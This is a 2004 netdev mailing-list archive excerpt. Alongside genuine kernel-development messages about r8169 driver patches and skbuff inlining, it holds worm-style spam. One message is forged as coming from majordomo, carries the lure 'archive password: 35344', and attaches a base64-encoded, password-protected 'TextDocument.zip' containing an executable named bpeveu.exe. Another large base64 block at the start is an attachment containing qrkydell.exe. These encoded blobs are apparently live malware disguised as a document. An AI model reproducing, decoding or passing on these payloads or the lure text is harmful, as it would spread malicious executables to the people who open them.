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 ----------uovvjocmscwnpatwxxuy-- From jonmason@us.ibm.com Thu May 6 07:37:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 06 May 2004 07:37:34 -0700 (PDT) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i46EbOKO013737 for ; Thu, 6 May 2004 07:37:30 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i46Eb9pj538900; Thu, 6 May 2004 10:37:09 -0400 Received: from d03nm130.boulder.ibm.com (d03av04.boulder.ibm.com [9.17.195.170]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i46Eb88x284290; Thu, 6 May 2004 08:37:09 -0600 In-Reply-To: <20040504012400.C4612@electric-eye.fr.zoreil.com> To: Francois Romieu Cc: jgarzik@pobox.com, netdev@oss.sgi.com MIME-Version: 1.0 Subject: Re: [patch] 2.6.6-rc3 - r8169 rediff X-Mailer: Lotus Notes Build V651_12042003 December 04, 2003 Message-ID: From: Jon D Mason Date: Thu, 6 May 2004 09:36:55 -0500 X-MIMETrack: Serialize by Router on D03NM130/03/M/IBM(Release 6.0.2CF2HF168 | December 5, 2003) at 05/06/2004 08:37:08, Serialize complete at 05/06/2004 08:37:08 Content-Type: text/plain; charset="US-ASCII" X-archive-position: 5036 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jonmason@us.ibm.com Precedence: bulk X-list: netdev >A set of patches against 2.6.6-rc3 which includes the fixes issued yesterday >by Andy Lutomirski is available. > >All in one patch against 2.6.6-rc3: > http://www.fr.zoreil.com/people/francois/misc/20040504-2.6.6-rc3-r8169.c-test.patch > >Individual files: > http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.6-rc3-01 > >Tarball: > http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.6-rc3-01/r8169-blob.tar.bz2 > >-- >Ueimor All the patches applied cleanly against the 2.6.6-rc3 driver. My system (amd64) has run for 12 hours without any problems. Thanks, Jon From vda@port.imtp.ilyichevsk.odessa.ua Thu May 6 10:14:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 06 May 2004 10:14:53 -0700 (PDT) Received: from port.imtp.ilyichevsk.odessa.ua (168.imtp.Ilyichevsk.Odessa.UA [195.66.192.168] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i46HEGKO021873 for ; Thu, 6 May 2004 10:14:21 -0700 Received: (qmail 10042 invoked by alias); 6 May 2004 17:14:01 -0000 Received: from unknown (1.0.3.9) by 0 (195.66.192.168) with ESMTP; 06 May 2004 17:14:01 -0000 From: Denis Vlasenko To: Stephen Hemminger , "David S. Miller" Subject: Re: [PATCH] eliminate large inline's in skbuff Date: Thu, 6 May 2004 20:13:56 +0300 User-Agent: KMail/1.5.4 Cc: netdev@oss.sgi.com References: <200404212226.28350.vda@port.imtp.ilyichevsk.odessa.ua> <200405020037.47712.vda@port.imtp.ilyichevsk.odessa.ua> <20040505145949.05ea67a7@dell_ss3.pdx.osdl.net> In-Reply-To: <20040505145949.05ea67a7@dell_ss3.pdx.osdl.net> MIME-Version: 1.0 Content-Disposition: inline Message-Id: <200405062013.32545.vda@port.imtp.ilyichevsk.odessa.ua> Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: 7bit X-archive-position: 5037 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vda@port.imtp.ilyichevsk.odessa.ua Precedence: bulk X-list: netdev On Thursday 06 May 2004 00:59, Stephen Hemminger wrote: > > On Wednesday 28 April 2004 00:21, Stephen Hemminger wrote: > > > This takes the suggestion and makes all the locked skb_ stuff, not > > > inline. It showed a 3% performance improvement when doing single TCP > > > stream over 1G Ethernet between SMP machines. Test was average of 10 > > > iterations of iperf for 30 seconds and SUT was 4 way Xeon. Http > > > performance difference was not noticeable (less than the std. deviation > > > of the test runs). > > The original tests were suspect for a whole lot of reasons. Running the > proper tests shows no performance differences. The best theory as to why > there was a difference in earlier tests is that memory debugging was > enabled; that caused each buffer to be overwritten with a memset. When > that happened, the test ends up measuring the speed of the memory and cache > bandwidth, not the CPU or the network. "no detectable difference" was the most expecter result indeed. Thank you for actually testing that. -- vda From majordomo@vger.kernel.org Fri May 7 03:08:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 07 May 2004 03:08:59 -0700 (PDT) Received: from mallige (transputer.ee.iisc.ernet.in [144.16.69.39]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i47A7AKP031478 for ; Fri, 7 May 2004 03:07:21 -0700 Date: Fri, 07 May 2004 15:37:02 +0530 To: netdev@oss.sgi.com Subject: :) From: majordomo@vger.kernel.org Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------wxljducfvyrdmlqsnbry" X-archive-position: 5038 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: majordomo@vger.kernel.org Precedence: bulk X-list: netdev ----------wxljducfvyrdmlqsnbry Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Looking forward for a response :P archive password: 35344 ----------wxljducfvyrdmlqsnbry Content-Type: application/octet-stream; name="TextDocument.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="TextDocument.zip" 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 